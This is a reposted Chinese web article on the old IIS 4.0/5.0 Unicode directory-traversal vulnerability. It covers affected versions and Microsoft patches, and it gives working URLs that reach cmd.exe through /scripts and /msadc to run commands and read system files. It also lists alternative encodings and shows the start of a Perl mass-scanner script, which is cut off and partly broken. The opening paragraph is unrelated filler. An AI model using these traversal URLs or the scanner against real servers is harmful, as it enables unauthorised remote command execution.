争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

IIS UNICODE Bug

时间:2024/4/13作者:未知来源:争怎路由网人气:

网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

一.存在的漏洞
1. 微软IIS 4.0 / 5.0 存在扩展UNICODE目录遍历漏洞,该漏洞既是一远程漏洞,同时也是一本地漏洞。
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
不受影响的版本:
漏洞描述:
微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"\"而能利用"../"
目录遍历的漏洞。
未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知
的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与
Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除
修改或执行,就如同一个用户成功登陆所能完成的一样。
测试方法:
http://target.computer/scripts/..%c1%1c../path/solo.txt
%c0%af = /
%c1%9c = 解决方案:
该漏洞补丁随微软安全公告MS00-057一起发布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以从如下地址下载补丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q301625/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q301625/default.asp
2.IIS 4.0/5.0 unicode解码漏洞导致文件泄漏或执行
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"
或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统
认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,
采用的 解码的格式与下面的格式类似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
N %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能
列出当前目录的内容:
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的:
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
Rain Forest Puppy <rfp@WIRETRIP.NET>测试发现对于英文版的IIS 4.0/5.0,此问题同样
存在,只是编码格式略有不同,变成"%c0%af"或者"%c1%9c".
2. 临时解决方法:
1、如果不需要可执行的CGI,可以删除可执行虚拟目录,例如 /scripts等等。
2、如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区
厂商补丁:
微软已经发布了一个安全公告MS00-78,您可以在下列地址看到更详细的内容:
http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
补丁可以从下列地址下载:
Microsoft IIS 4.0:
http://www.microsoft.com/ntserver/nts/downloads/critical/q301625/default.asp
Microsoft IIS 5.0:
http://www.microsoft.com/windows2000/downloads/critical/q301625/default.asp
二.UNICODE漏洞的原理
  上述漏洞一从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。
  中文版的WIN2000中,UNICODE编码 存在BUG,在UNICODE 编码中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
  在NT4中/编码为%c1%9c
  在英文版里:WIN2000英文版%c0%af
  但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测, %c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af
三。UNICODE漏洞的检测
  以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c最简单的检测方法:
比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
  实际上也可以改为这样127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir即r=c 这个字母的取代,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。
  当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。
http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
运行后,我们可以看到
Directory of c:\program files\common files\system\msadc
2000-08-06 19:16
.
2000-08-06 19:16
..
(以下内容略)
19 File(s) 1,233,840 bytes
2 Dir(s) 6,290,644,992 bytes free
  如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做UNICODE漏洞的检测,我们就需要使用类似以下的扫描软件。以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要做相应的修改。
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts)

关键词:IIS UNICODE Bug




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版